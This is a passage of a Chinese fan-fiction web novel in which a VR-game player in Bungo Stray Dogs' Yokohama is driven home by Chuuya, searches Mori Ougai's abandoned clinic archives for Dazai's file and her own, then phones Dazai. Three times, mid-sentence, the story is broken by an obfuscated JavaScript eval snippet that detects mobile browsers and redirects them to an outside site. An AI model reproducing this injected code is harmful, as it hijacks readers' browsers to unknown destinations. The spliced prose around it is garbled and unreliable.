“嗯!”花理立刻点头。 “那就走。”中也拎起放在一旁凳子上的黑色大衣外套甩到肩上,率先走向门口。 花理赶紧也从椅子上跳下来,她小跑着追上已经拉开门的中原中也。 “现在……?前辈,我们还要去哪?” 不知不觉中已经被美食收买的花理亦步亦趋的跟在他身后,完全没意识到,自己潜意识里已经对这个「武斗派的前辈」充满了信任。 14. 魔女夜诊所 夜晚的凉风再次拂面,但这一次,饱腹的身体没那么畏寒了。 中也跨上机车,这次倒没直接让她上车,而是回头看向花理,钴蓝的眼睛在夜色下,或许是因为路灯,泛着剔透的光亮:“地址?哪片宿舍?” “啊?不用麻烦了前辈,我可以自己……”花理顿了顿,她主要是想趁着精力值还够锄下地。 “……”中原中也把机车帽扣她脑袋上打断她,语气又带上了一点之前的不耐烦,“让你说你就说,报地址。” 他皱着眉,显然是想彻底解决掉这个“麻烦的新人边捡垃圾边流浪导致港口Mafia名誉受损”的问题。 “您不信任我……”花理控诉,要为自己正名,抗议道,“我好歹也是个Mafia……” 中原中也的回答只有简短的一个语气词。 “哈。” “要我打电话问你们部门后勤吗?”他微微垂眸看向花理,语气有些不耐,又像是带着些调侃。 “……不用了!” 花理默默疯狂调数据,报出了自己那间位于偏僻区域、破败但租金便宜的公寓区域。 中原中也听完后,眉头似乎皱得更紧了点,低声咕哝了一句:“……后勤搞什么鬼,给新人安排这种地方。” “……”花理弱弱举手发言,“因为是没用的新人啊……” 她对自己的能力很有自知之明。1.2亿前辈…… 中原中也没再多说,只是简洁命令道:“上车。” 这一次,花理深吸了一口气,认命地伸手,小心翼翼地扶住他的肩膀准备侧坐上去。机车启动的声音响起,街道旁的光带再次在眼前飞驰而过,朝着她那个在横滨地图上毫不起眼的“家”驶去。 “还好您成年了。” “哈?怎么又说这个。” “因为刚刚思考了未成年人驾驶机动车的法律问题。” “……”中原中也嗤笑一声,大名鼎鼎的Mafia重力使看了她一眼,没有说话。花理眯了眯眸子,不服气道: “就算是Mafia——!” “再说什么蠢话就把你扔下去。” 发动机的轰鸣在夜色中打破了寂静,路灯的光线被速度拉成模糊的金线,从两人身侧飞速掠过。 车轮碾过粗糙路面,引擎的震动声在黑夜里格外清晰。 “能不能开慢点……刚吃饱。” 花理一只手揪着中原中也的西装外套去,一只手捂着自己因高速行驶岌岌可危的胃,脸色苍白:“……求……你……” “啧……麻烦。”中原中也嘴上这么说,倒是如她所愿的减慢了速度。 “就这种水准还来当Mafia?” “因为真的没有可以做的事情了。”花理顺畅地把这一半的谎言说出口——她没说全部真话,也没说全部假话。反正她现在也确实没法撕卡。 “嘁……就你这种……小心别死了。”中原中也别扭道。 “谢谢关心……可以当做关心收下的吧?” “闭嘴。” 车轮最终停在了一栋老旧的公寓楼下。水泥墙面斑驳,门口堆积着几个半满的垃圾袋,在晚风里散发出令人反胃的味道。 再定睛一看,一只硕大的老鼠正从门口快速的跑过。 花理还没下车,就已经想离开这里了。 “……”这是中原中也。 “哇……”这是绵津见花理。 两个人同时震惊了片刻。中原中也侧过头看向绵津见花理,眼神中带着点怀疑:“……你在哇什么。” “……”花理,她能说她之前几天根本就没有住这里,只是一键快进了吗。 「所以我一直建议您回到休息点进行住宿。」系统说。 「没事的啦,中原前辈大概不会深究。」 「不是这个问题。」应该是毫无感情的系统可疑地顿了顿,斟酌着字句,「因为您强烈要求,并且自己上手狂点了快进键,所以我没有说过……」 「其实所谓的快进,就是让您当场眼一闭休眠到剧情进度再开机。」 「嗯……」花理想了想,没觉得有什么不对,「有什么问题吗?」 「……所以您这几天的晚上在游戏视角内其实都是在选择快进的地点休眠的。虽然我给您开了屏蔽……」 「……?」 花理短暂地被哽住。 “这里……”中原中也的机车帽檐下,眉头拧得很紧。他审视着这栋在他眼里脏落差的建筑,语气里的嫌弃几乎实体化,“后勤部那群家伙……” “请不要发出这样的嫌弃……会让作为底层员工的我很受伤。” “……我不是那个意思。”中原中也顿了顿,“是觉得……”无论如何也不能给小女孩住这种地方。 “所以……难道说中原前辈因为很强,从一开始就住上了豪华大平层吗!” 中原中也迟疑地点了点头。 “进入Mafia后是有。”但他一般也睡员工宿舍。 “万恶的有钱人!享乐主义!锦衣玉食!奢靡之风!”花理发出不满的讨伐声。 “……吵死了笨蛋!”中原中也被她突如其来的气势镇住片刻,抬手把她的脑袋按低,反驳,“我也住过比这更差的地方啊?” “哦……” 少女呆呆地低声应道。 “……”不过再怎么说让她这种又弱又笨的人住这里还是……青年一边思考,一边思索着抬眼。 中原中也视线越过她落在身后那栋即使现在马上搬到镭钵街也能完美融入的寒酸建筑上。抿着的嘴唇充分表现了他现在微妙的不悦。 “要不要我给后勤部打个电话……”他迟疑着看向花理。 “虽然我也很不乐意……但是没办法了,中也前辈。”花理倒是看起来接受度更高一些,轻巧地跳下车,摘下头盔,“我猜应该是和工资匹配过后安排的经济型……也算是企业的最优安排吧。” “最优解……嗤。”中原中也对此表示不屑,“我只知道还不至于待遇差到要你住这。如果你想换个地方住……” “我真的没钱了。”花理果断拒绝。 “…听人把话说完啊小鬼!”中原中也像是有些头痛的也摘下了头盔,揉了揉额角。他犹豫片刻,终于咕哝着说出口。 “差得那部分我帮你补上好了。”他飞快地接道,似乎是在澄清些什么“……一开始带我的人也是红叶姐,姑且算是一个团体的吧。” 花理稍微有些心动,但总觉得不合适。她刚要开口,身后传来刚刚看见的那只大老鼠啃食垃圾袋的声音,她回过头和老鼠绿豆大的泛着幽光的眼睛对视。 “吱吱。” ……花理又马上飞快地转过头。这次没了任何犹豫。 “真的可以吗谢谢你您真是大好人我会一辈子追随你的中原前辈!”她语速超快地说,像是害怕对方反悔一样立马给他一鞠躬。 “……啧。应得真快啊。”中原中也挑眉,倒是没对花理的反应作出什么评价,只是轻轻哼笑了一声。他脚尖踢了踢一旁的碎石,石头朝花理刚刚看到的老鼠飞过去。将其砸到地上。 “有便宜不占王八蛋嘛。”花理眨了眨眼,“不过我一定会报答您的。” 夜风拂过她的脸颊,花理尽量真诚地看向中原中也。青年挑了挑眉,璀璨的蓝眸在夜色中格外明亮。 “哦?怎么报答?”中原中也一只手还搭在车把上,手指轻敲着车把,好整以暇地看着她。 花理没想到心里老实善良的前辈会这么问,微微睁大眼睛思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16040789|178762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 考了片刻: “……总之就是,在我做强做大之后让您吃香喝辣什么的……”她没什么自信含糊地回答,把头盔递回给中原中也,一边飞快地转移话题: “谢谢您送我回来,您回去路上小心。” 中也盯着那顶被她递过来的头盔,似乎还能感觉到有些被人佩戴过的余温,又扫了眼她强装镇定的脸,最终还是没再说什么,只是把头盔随手丢到前面,不耐烦地挥挥手:“赶紧上去。明天我让后勤部把新住址发你。” “知道了,谢谢前辈。” 花理利索地应声,转身走进楼道。直到外面的引擎声彻底消失在街尾,她才长长吁出一口。 应付这位敏锐的重力使前辈也好麻烦……花理苦着脸想。不管怎么样,还是先应付一晚好了。 楼道里灯光线昏暗,还间接传来滋滋的电流声,昏暗的光线下是浓重的潮湿霉味。她摸索着爬上吱呀作响的楼梯,打开门—— 自己那个仅能塞进一张床和一个小桌板的房间映入她眼帘。 如果她没有因为vr这种并不损伤眼睛的游戏突然之间得了近视的话,她绝对、绝对在床和墙壁的缝隙里—— 看到了一只双马尾晃动的触须。 花理:“……” 她砰的一下又关上门。靠在门边捂住脸蹲下。 “……我绝对不要进去。”花理没什么感情、甚至可能已经失去思维般棒读,“我不进去。” 「……」系统默默地冒出来,「您要是不想进去,我们就去做任务吧。」 系统一边说,一边给花理弹出了一堆任务弹窗: 「检测到主线任务·其一【登录日志修复工程】已开启!」 「描述:在遗忘的记忆中,你曾见证;在重启的世界中,你将遗忘。」 「地点定位:Loading……」 (加载完毕)[坐标生成] 点击追踪→指引开启 花理果断道:“走。我们出门!” 横滨是座发展一般的港口城市,但因为其「三权分立」的特性,夜晚也并没有多少人得以安眠。 窗外,城市的光点模糊一片映照于海面之上。深夜的横滨并未完全沉睡。远处主干道上依旧有车灯流动的声响,近处僻静的小巷里偶尔传来醉汉含糊的嘟囔或野猫的嚎叫。 花理看着系统标出来七扭八歪不知通向何处的路线,被太宰治坑过的记忆浮上来: “……看起来很偏,不会有危险吧……” 「……」系统卡了卡,闪烁了几下,最终只憋出来一句,「加油啊,异能很弱的玩家小姐。」 花理贴着建筑物的墙边移动,尽量减少自己的存在感。意识里那个箭头如同一盏看不见的探照灯,指引着她不断穿行。 凉风吹在脸上,带着深夜的寒意和冷清。花理打了个寒颤,抱住胳膊。她拉高了外套的领子,尽量蜷缩起身体。 七拐八绕,穿过错综复杂的小巷,箭头最终指向了一条在贫民区中相对干净的街道。街道两旁多是二三层楼高的西式小建筑,挂着各色招牌。理发店、小酒馆、电器行……在午夜时分都大门紧闭,漆黑一片。 只有一家不同。 在街道尽头立着一座毫不起眼的、仿佛随时会被周边建筑吞噬的两层小楼。 它没有显眼的招牌,只在门口挂着一盏光线异常幽暗的壁灯,勉强照亮了下面一块同样黯淡的黑色竖匾。 “影灯馆”。 「已解锁主线前置线索点——地下诊所·影灯馆」 「关联信息:森鸥外」 「主线【登录日志修复工程】已收录」 「——瓦尔普吉斯之夜。」 ——等一下、系统让她找的这是…… 诊所? 15. 夜探 「任务地点:【影灯馆】,当前探索进度:0%」 「描述:这是你窥见过去阴影的开端……或是你生命的结束。」 花理仰头望着眼前这栋在贫民区中显得过于规整、却又死气沉沉的小楼。 “……系统,”花理咽了口唾沫,声音在寂静的夜里显得格外清晰,“你们正式发布的时候一定打上「微恐」标签好吗?” 「……我会向上提交建议的。」 花理不语,她盯着夜风中忽明忽灭的灯光,站在原地给自己做心理准备。 没事的……只是游戏而已—— “至少跳脸你会给我预警的吧?会吧?”她还是忍不住愁眉苦脸地这样问系统。 「……我给您打马赛克。」 “好吧……来都来了。”她深吸一口气,鼓足那点玩家特有的「诶这哪啊我看看」的莽劲,伸手推开了那扇沉重的、没有任何标识的门。 “吱呀——” 门轴发出令人牙酸的摩擦声,在死寂中格外刺耳。一股浓烈到呛人的消毒水味混合着陈年灰尘扑面而来。 花理被呛得猛地后退半步,捂住口鼻,眼泪差点飙出来。 “这里……是废弃的……?” 眼前的景象随着眼睛渐渐适应黑暗,变得清晰了一些。首先映入眼帘的是常见的医疗屏风和一张小桌子,桌子上还有半叠散落的文件纸和一支滚落的钢笔。 门后是一条狭窄、陡峭、向下延伸的楼梯。墙壁是粗糙上色的白漆。 几盏镶嵌在墙壁里的、光线惨白的小灯,间隔很远才有一盏,因此除了微弱的光,大片大片都是浓稠的阴影。楼梯下方是深不见底的黑暗,仿佛通往地狱的入口。 花理走进桌子,厚重的灰尘让她有点不想伸手去拿桌上的纸张。似乎是一本病例,她看了两眼,没有管。 「那支钢笔很值钱。」系统说,「二手能有5万円。」 花理马上伸手抓起桌上的笔,抹了抹上面的灰。 「您已拾取物品:」 「○乐钢笔×1(原主:森鸥外)」 花理有些讶异地盯着那只钢笔,思考了一下,悠悠地开口:“这个名字好熟悉……是不是在别的任务里出现过……” “是这个诊所的主人?” 「……」系统,「是您的上司的上司。」 “我的上司的上司……?” 花理愣了愣,脑中迅速闪过太宰治中原中也尾崎红叶等人,一条关系链渐渐出现在她脑中,花理一顿,有些不确定又有些惊恐地开口:“等等……所以他是……” 「港口Mafia的现任BOSS。」 钢笔“啪嗒”一下从花理手中滑落,她盯着地上的钢笔思考了一会儿,内心天人交战,最终还是对日元的渴望,战胜了那点恐惧。她默默的再次捡起钢笔,直接丢进了背包里。 “……所以我们现在是在、非法入侵横滨Mafia头子的私人财产吗?”她颤颤巍巍地提问。 「你是对的。玩家小姐。」系统无机质的声音里像是带着些许揶揄,「但是您来都来了,如果害怕被发现的话——总之都会被发现,建议您还是多收集一下物资更划算些。」 花理露出死鱼眼,她没有说话。绕过屏风向后看去,除了一张空空如也的医疗床之外,什么都没有。 「地点【影灯馆】,探索进度:12%」 花里惊讶了一瞬,意识到真正需要探索的地方恐怕是地下。她扶着冰冷的墙壁,小心翼翼地往下走。踩在嘎吱作响的木楼梯上,声音在逼仄的空间里回荡,花理头皮发麻。 “……我不记得、”她斟酌且委婉地试探系统,“这个游戏有标「惊悚」「灵异」的标签。” “……对吧?” 「……」系统沉默不语,任务标签上一直停留着的系统小球转动了一会儿,用比花理更客气的语气回复她: 「抱歉。」 花理:……! 她被吓得一下子哭丧着脸,手也开始抖了起来。 下到楼梯尽头,是一个不大的门厅。她摸索了一下墙壁,找到了一个开关。随着她摁下之后滋滋的电流声,一个吊着的白炽灯缓慢地亮起来。 稍微亮堂一些了,但也仅限于能勉强视物。花理眯了眯眼睛,忽然变得明亮的空间,让她的眼睛有点不适。 又是一张桌子,积了厚厚一层灰,上面散落着几张泛黄的、字迹模糊的登记表。角落里堆着几个破旧的纸箱,隐约能看到里面露出废弃的输液瓶和绷带卷。 「物品:泛黄的登记表」 「描述:字迹潦草难以辨认。布满灰尘,已经被人丢弃。或许是不重要的信息,对你来说。」 花理盯着那几张破纸,像是「探索大地图解锁完整的故事」这样属于RPG玩家的好奇心和习惯驱使她伸出手。 模糊的字迹,已经有些风化的纸张,让辨认信息更加困难。 「异能力【见证者】发动……」 「正在解析……」 「解析到关键信息……」 「2016/xx/xx」 「接待病患:绵津见 花理」 花理猛地顿了顿。 “……这是我?”她有些不确定的问,“我是说……这具身体……?系统安排的身份信息?” 「□□,□□□□……」 光幕上的系统小球又跳了两下,在输出一段无意义的乱码之后,系统回复了平静。 「请自由探索。」 花理把那张登记表撕下来塞入背包,背包里出现了【收集物品】的另外一栏——【主线道具】。 【主线道具】 【描述:人的职责是发现自己的命运……而是否走向它,则取决于你的勇气。】 花理拍了拍手上的灰尘,她的目光被门厅左右两条通道吸引。左边通道黑漆漆的,隐约能看到几扇紧闭的门;右边通道稍亮一些,尽头似乎有微弱的灯光透出。 “……有人?”花理缩了缩脖子,感觉更冷了。她犹豫了一下,还是硬着头皮朝右边走去。 越往里走,消毒水味越浓,但那股陈腐的尘土味道反而淡了些。通道两边是几间诊室模样的房间,门都开着,里面空空荡荡,只有一些锈迹斑斑的医疗推车和倾倒的金属器械架,像是被匆忙遗弃的战场。 直到她走到通道尽头那间唯一亮着灯的房间门口。 灯光从门缝里漏出来,照亮了门板上一个模糊不清的标识,她眯起眼睛依稀辨认。 「检测——与当前港口Mafia的标识相似度:80%」 花理:“……”好了不用再提醒她正在翻自家boss的地盘了。 她屏住呼吸,轻轻推开了那扇虚掩的门。 「吱嘎——」 老旧门轴的声音在过分安静的环境里被无限放大。花理的心跳到了嗓子眼。 门内是一间……档案室? 排列的金属档案柜占据了房间大部分空间。只有靠近门口的一小块区域还算空旷,放着一张同样布满灰尘的椅子,桌上孤零零倒着一亮着的老式罩台灯。 台灯的光线范围有限,只能照亮桌面和周围一小圈,档案柜的深处依旧沉浸在浓重的阴影里。 房间里弥漫着纸张和铁锈混合的陈旧气味。花理用手在口鼻前扇了扇,还是忍不住咳嗽。 “咳、咳咳……”她忍不住抱怨,“就算是虚拟体验也心理作用自己会犯上鼻炎的程度……” 「检测到大量纸质档案存储。」 「您已到达【影灯馆】地下一层深处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16040790|178762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,探索度:100%」 「请自由探索。」 “……意思是让我翻档案?”花理看着眼前这如同图书馆禁书区般的景象,头都大了。这工作量,比她下午在□□大楼整理那些文件还可怕一百倍! 她小心翼翼地走到档案柜旁,随手抽出一本档案—— 并不是认识的人,系统也没有跳出任何提示。似乎完全只是个npc而已。 她接着抽出第二本。 第三本,第四本…… 全部都是无效信息。 花理:“……姑且问一下,这个信息收集应该不是会要我……” 「您可以选购【系统商城】道具【世界第一名侦探的敏锐】」 「效果:对信息的处理度+100%,随机信息的重要程度+80%」 「售价(首次下单优惠90%):10000円」 花理:“……” 她转身就要走。 「系统提示:主线任务至关重要。是您体验本游戏的重中之重,若不解锁相关信息,主线推进程度将会停滞。」 她默默的抬头看了一眼进入游戏时绑定的银行卡余额。 「余额:1800万円」 花理内心挣扎了一下。 花理低下脑袋。 花理痛定思痛。 花理咬牙切齿并表示: “……买。” 天杀的游戏,一个道具敢收她10000円! 肉痛感使她不得不往前走了两步继续开始翻档案。 如果氪了金还是没法把练度搞上去的话,我会很后悔——至少让游戏体验回本一些吧。花理流泪猫猫头。 她随心走到一排档案架前,铁架子上排满了用牛皮纸袋装着的档案,上面只潦草地写着编号和日期,没有任何名字。 花理闭着眼,权当是看看自己现在的运气抽卡能不能出金,随手抽出一个纸袋,灰尘扑簌簌往下掉。 “咳、咳咳……”花理嫌弃地挥开灰尘,借着昏黄的灯光翻开第一页。 「患者姓名:佐藤明健」 「入院日期:2015年4月3日」 「主诉:左臂不明原因灼痛,伴随间歇性精神恍惚」 「初步诊断:疑似接触性异能……建议转诊至异能特务科指定机构……」 后面的记录断断续续,充满了“无法解释”、“症状加重”、“建议隔离观察”等字眼。最后一张报告单上盖着鲜红的「已死亡」印章。 “……好惨。”花理没什么感情地评价了一句,面无表情地把档案塞回去,“下一个。” 「患者姓名:高桥美咲」 「入院日期:2015年7月15日」 「主诉:……」 …… 一连翻了七八份档案,全是些名字陌生、症状诡异、结局不是“死亡”就是“无法治疗,建议转走”的倒霉蛋。花理看得眼皮打架,感觉自己这一万円花得像个冤大头。 “【世界第一名侦探的敏锐】……”她幽幽道,“敏锐在哪?” 「道具效果正在生效中。」系统的声音依旧平稳,「请玩家保持耐心,关键线索可能在……下一栏。」 氪金的力量开始显现。她不再漫无目的,而是被一种莫名的直觉牵引着,走到另一排档案架前。 花理冷笑一声,但还是认命地伸手去拿下面的文件。这次的文件码放得更整齐,看起来也正规不少。她随手抽出一个看起来相对干净的文件夹。 文件夹封面是空白的,但里面夹着的文件第一页,一行加粗的标题瞬间抓住了她的眼球: 特殊人员观察记录∥ 对象编号:D-0619 真名:不详 代号:太宰治 16. 档案 “……” 太宰治,也曾经是首领【森鸥外】的病人吗? 这种捡到了宝箱,但并不清楚打开是真的宝藏还是宝箱怪的感觉…… 花理在「塞回去」和「打开看看」中疯狂摇摆。最终,探究欲还是占了上风。 神秘的太宰治……满身的绷带的来源,这里会写清楚吗? 她咽了口口水,心脏扑通扑通地跳着,怀着有些好奇和激动的心情抽出档案。 「初次接触记录/2014/xx/xx:」 「目标于擂钵街废墟区域发现。状态:严重脱水,营养不良,体表存在多处不明原因的锐器伤及陈旧性软组织挫伤。」 「精神评估:极度不稳定。存在强烈自毁倾向及反社会人格特质。对疼痛反应异常。」 「建议:严密监控,限制行动,评估潜在可利用价值。」 「早期行为观察摘要:……」 「最终评估:一个彻头彻尾的怪物。但……值得一试。」 “……” 花理默不作声地“啪”的一下让文件滑回档案袋里。 「您已收录【森鸥外记录·太宰治档案】,太宰治角色任务【□□□□】(解锁后显示)已开启。」 系统的提示音适时响起,花理的内心千回百转—— 她看了!她看了!太宰治的黑历史……不过感觉现在的他也和这个描述里的差不多……? 她把太宰治的病历也收入背包,继续翻找着。 系统的任务还没显示结算……所谓的【主线任务】是什么,花理至今一头雾水。她指尖略过一叠叠档案,终于在某一处停下。 因为—— 那上面的名字是…… 「绵津见 花理」 _ ∥特殊收容·患者病历档案∥ 「姓名:绵津见 花理」 「年龄:不详(骨龄:15-16间)」 「入院日期:2016年xx月xx日」 「收容/监护方:□□□」 「主诉(第一发现人代述):暴雨夜后于横滨港区近海浅滩发现。深度昏迷,生命体征微弱。体表无外伤。」 「穿着【□□□□□□□□□□】校服,佩戴学生证,姓名为「绵津见花理」。本档案以此名字作为记录。」 「苏醒后记忆严重缺失(对个人身份、经历、家庭等信息完全无法回忆)。偶发不明原因剧烈头痛及短暂意识空白。」 「初步检查: 「生命体征:恢复极快,异常平稳,远优于同龄健康个体标准值。」 「神经系统:常规检查未见器质性病变。脑部影像学检查:显示海马体区域存在异常信号阴影。疑似与记忆缺失相关。深层扫描因不明干扰失败。」 「血液分析:常规指标正常。检出微量未知能量反应,性质不明,与已知异能波动谱系均不匹配。」 「诊断意见: 「创伤后应激障碍(PTSD)伴随解离性遗忘(指向性严重记忆缺失)。」 「不明原因头痛及意识障碍待查。(备注:高度怀疑与脑部异常信号及未知能量反应有关,需排除异能影响或特殊体质)。」 「处置记录: 「2016/xx/xx,由第一发现者(渔民)移交至□□□□□∥.」 「后,由□□□□□提出申请,移交至□□□□□∥.」 接诊医师签名—— 「森鸥外」 …… 花理看完这份属于自己的“角色背景设定档案”,整个人有点懵。但更重要的是—— “……这满屏的□□,”花理幽幽道,“是你干的吧,系统。” “我都找到了——你还给我屏蔽?”花理暴怒捶桌,然后被激起的灰尘呛得咳嗽了连连,“我还充了……咳咳、一万……咳咳……” 「……」系统直接避而不答。 「主线任务·其一【登录日志修复工程】/瓦尔普吉斯之夜·已完成!」 「关键线索【影灯馆档案】已获取!」 「探索目标达成!可随时离开。」 「主线下一阶段·已开启,请自由探索。」 「经验值上升!当前等级lv5(离下一等级75/500)」 「奖励:日元×10(1000円),商城道具转盘×1,已发放至背包!」 花理盯着光频上的球猛戳: “森鸥外是「我」的主治医师啊……”她喃喃道,“那……是先生成的Mafia身份、还是先生成的这个人物事迹才有了后来的Mafia身份呢。” 第二人生啊…… “确实非常……严谨。”花理评价道,“对于你们这个逼氪、NPC吊打玩家的游戏……我目前唯一的赞扬就只有这个了。” 「……」系统迟疑,「谢谢您的支持……?」 “那我的一万块可以退给我吗?” 「……抱歉,根据《内测不删档玩家游玩须知》协议里提到的……」 “可以吗?”花理执着,“你不觉得很鸡肋吗?那个道具。” 「不可以。」 花理再次猛戳光球。 戳到系统忍无可忍,消失在光频边际。花理才悻悻地收回手。她拍了拍手上的尘土,沿着下来的楼梯走上去。 走出街道,天色已经微亮,太阳如人们惺忪的睡眼般还没能完全亮起,只有淡淡的光照在远处的地平线上。饶是如此,花理也觉得眼睛刺痛了一下,大概是因为刚刚的地下诊所实在太黑。 她低下头,才发现自己的手指因为沾到灰尘满是大大的黑印。背包里并没有纸巾,只能嫌弃地朝河边走去。 那份过于逼真到能唬住她这个外行的医学档案,加粗加黑的字句逐字闪过她的脑海中,包括一个个的屏蔽词,花理也斟酌着试图往其中填上合适的词。 毫无疑问,最后接收她的应该是「港口Mafia」,而系统身份的记忆却在她开始上班时才第一次与港口Mafia关联起来。在此之前的她…… 花理想到了自述看过她档案的太宰治。 她在思考的间隙走到河边蹲下身去,仔仔细细的将手洗干净。然后犹豫了一下,拿出了手机。 强烈的好奇心混合着对主线任务的执着,像藤蔓一样缠住了花理的理智。她未满足的探究欲需要答案,可惜这游戏还没有攻略组,更是号称每个人的游戏人生都是独一无二的。 所以—— 在凌晨五点的街道,周围空无一人,只有河水哗啦啦流过的声音中,花理做出了一个大胆的决定。她点开通讯录中「?」的号码,手指一抖,就拨了过去。 “……”糟糕,忘记组织语言做一下心理准备了。 “嘟……嘟……嘟……” 听筒里的等待音在寂静的凌晨格外清晰,花理一直蹲到脚有点麻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16040791|178762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。就在她以为对方不会接时,“嘟”声戛然而止。 “咔哒。” 电话通了。 在她的预想中,太宰治此刻应该早都醒了。但仍应该会对她此刻的打扰表示不满,继续对她说些似是而非的话。 但此刻那头既没有开口问她些什么,也没有慵懒的调笑。听筒那边只有清浅的呼吸声,以及极其细微的、布料摩擦的窸窣声,过了好几秒,才传来太宰治的声音。 那声音带着浓重的、被强行从睡梦中拖拽出来的鼻音,沙哑,模糊,像蒙了一层湿漉漉的雾气,尾音拖得有点长,透着一股被扰清梦的浓浓不悦和……一丝不易察觉的意外? “……喂?”声音的主人似乎还陷在睡梦中,吐字都有些含混不清。青年声音本就好听,在这个时间段,花理在平时想都不敢想的「太宰治竟然软乎乎的」效果出现了。 花理甚至能想象出他埋在枕头里、被蓬乱黑发遮住半张脸、眉头紧蹙的模样。 带着刚被从深沉睡眠中拽出来的迷茫和无防备的柔软。 花理:“……萌ぃ……” 她简直不敢认。但「啊好可爱怎么办想推这孩子了怎么回事这种反差真的没问题吗」的尊感涌上心头,让花理感动的有点眼眶湿润。 她定了定神,努力让自己的声音听起来既不是太兴奋也不是太心虚: “太宰……先生。早上好,抱歉打扰……我是绵津见花理。 电话那头又沉默了几秒。 接着,传来一声极其轻微的呼气声,像是叹息,又像是被打断睡眠的无奈。太宰治的声音稍微清晰了一点,但鼻音依然很重,带着一种刚睡醒特有的、慢吞吞的黏腻感: “啊。花理酱?”他慢悠悠地念着她的名字,尾音上扬,带着点探究的意味: “这个时间……是终于想通了,决定和我一起迎接殉情的最佳时刻——日出吗?”即使困倦,那熟悉的、带着钩子的戏谑感还是顽强地冒了出来。 花理被他这不着边际的回答噎了一下,刚涌上来的那点紧张和萌心瞬间被冲淡不少,取而代之的是熟悉的无语。 “……是啊。”她像是失去了所有力气和手段,也懒洋洋地回答,“那太好了。跳吧。跳了。” “……”这次好像是对面哽了一下,咕哝着什么“花理~真会开玩笑”之类的,筒里传来一声明显的、带着困意的哈欠声,接着是布料摩擦的更大动静,仿佛电话那头的人终于舍得从被窝里坐起来了一点。 “所以、”太宰治带着困意,有些埋怨般语气淡淡,这样问道,“找我有什么事呢?” “……没想到您这个时间没有醒。打扰到您的睡眠了……我非常抱歉。”花理先是这样说,用手捂住手机,尽量小声不让刚睡醒的人感到不适。 “嗯?没事哦,毕竟已经醒来了……”太宰治那边传来窸窸窣窣的,大概是从床上站起来的声音,“不过花理要是因为抱歉想陪我殉情或者替我工作什么的……我完全——不介意~” “我介意。”花理死鱼眼。 青年低低地笑了两声,主动把话题揭了过去:“我知道小花理肯定不是故意要打扰我的~所以说吧,有什么事呢?” “说不定我真的对您心生怨念——”花理恶趣味地故意道。 “我觉得不会哦。”太宰治的声音仍然愉悦,“毕竟花理不是那种不珍视生命的人嘛。” 花理:“……”这绝对是威胁吧。 17. 太宰的住处 “确实是那样……”她非常识时务地滑跪了,“所以其实是——” “说到这个啊。”太宰治打断她,声音有些含糊,还有水龙头被打开已经流水的声音,或许是在洗漱,“花理为什么觉得我在这个点已经醒了呢?” 太宰治带着狡黠的似乎在挖坑的问题。醒来差不多三分钟,他的声音稍微清晰了一点,鼻音依旧浓重,但语调开始染上他惯常的、那种轻飘飘的调子。 “……”花理想了想。 “是一种……已经成为了错觉的直觉吧。” “嗯?” “「太宰大人这种狡猾又捉摸不透的男人大概是夜猫子,睡眠非常少的类型」——我这样想。”花理坦诚道,“不过现在验证了并不是这样……所以这种直觉沦落成错觉了。” 太宰治那边有片刻的松怔,不知是没想到她会就这样说出口还是没想到她的思考方式这么异于常人:“……啊。” 她顿了顿,内心的疑惑和对太宰治本人的好奇更甚一筹,她试探着:“……我说对了?” “说——错了。”太宰治拉长声音,有些好笑般,花理能想象出这人一如既往弯着眼睛像坏心眼的猫一样的表情,“所以呢,花理想说的——” “是不是「档案」的事情?” _ 花理呆了呆。 她一直说对方是「开挂的NPC」,但没想到对方已经进化成这个程度,她带着深深的震撼,有些结结巴巴地开口: “你……你——” 委屈的少女想到的唯一可能是:“——你在监视我?” 对面传来青年的笑声和懒洋洋地回应: “怎么会呢。”他轻飘飘地说,大概是侧着头夹着手机,一边用手开着什么的“咔哒声”和与普通讲电话有些不同的闷闷的声音,“花理还没有重要到这种程度哦。” “……”花理眯了眯眼。 “是异能?” “不是哦。” “只靠猜真的能做到这样吗?”花理睁大眼睛,“所以太宰大人说自己不是武力派……”是超强的脑力派? 对面传来一阵呯铃磅啷东西被摔下的东西,还有男人忍着笑的声音。太宰治笑得肩膀一抖一抖: “花理是笨蛋啊。”他说,“我只是在你的手机里安了追踪器而已啦。” “……”花理无言以对,她气得莫名其妙地笑了一下,“所以我也只是想问您——” “那天您说去看了我的档案,里面写了什么?” “哦……档案……”太宰治的声音拉长了点,那点困倦的粘腻感褪去少许,换上一种近乎玩味的若有所思,“原来花理酱在好奇那个?唔……” 他故意沉吟了一下,像是在认真回想:“的确……是有点有趣的发现呢。” 花理的心悬了起来:“您能告诉我……” 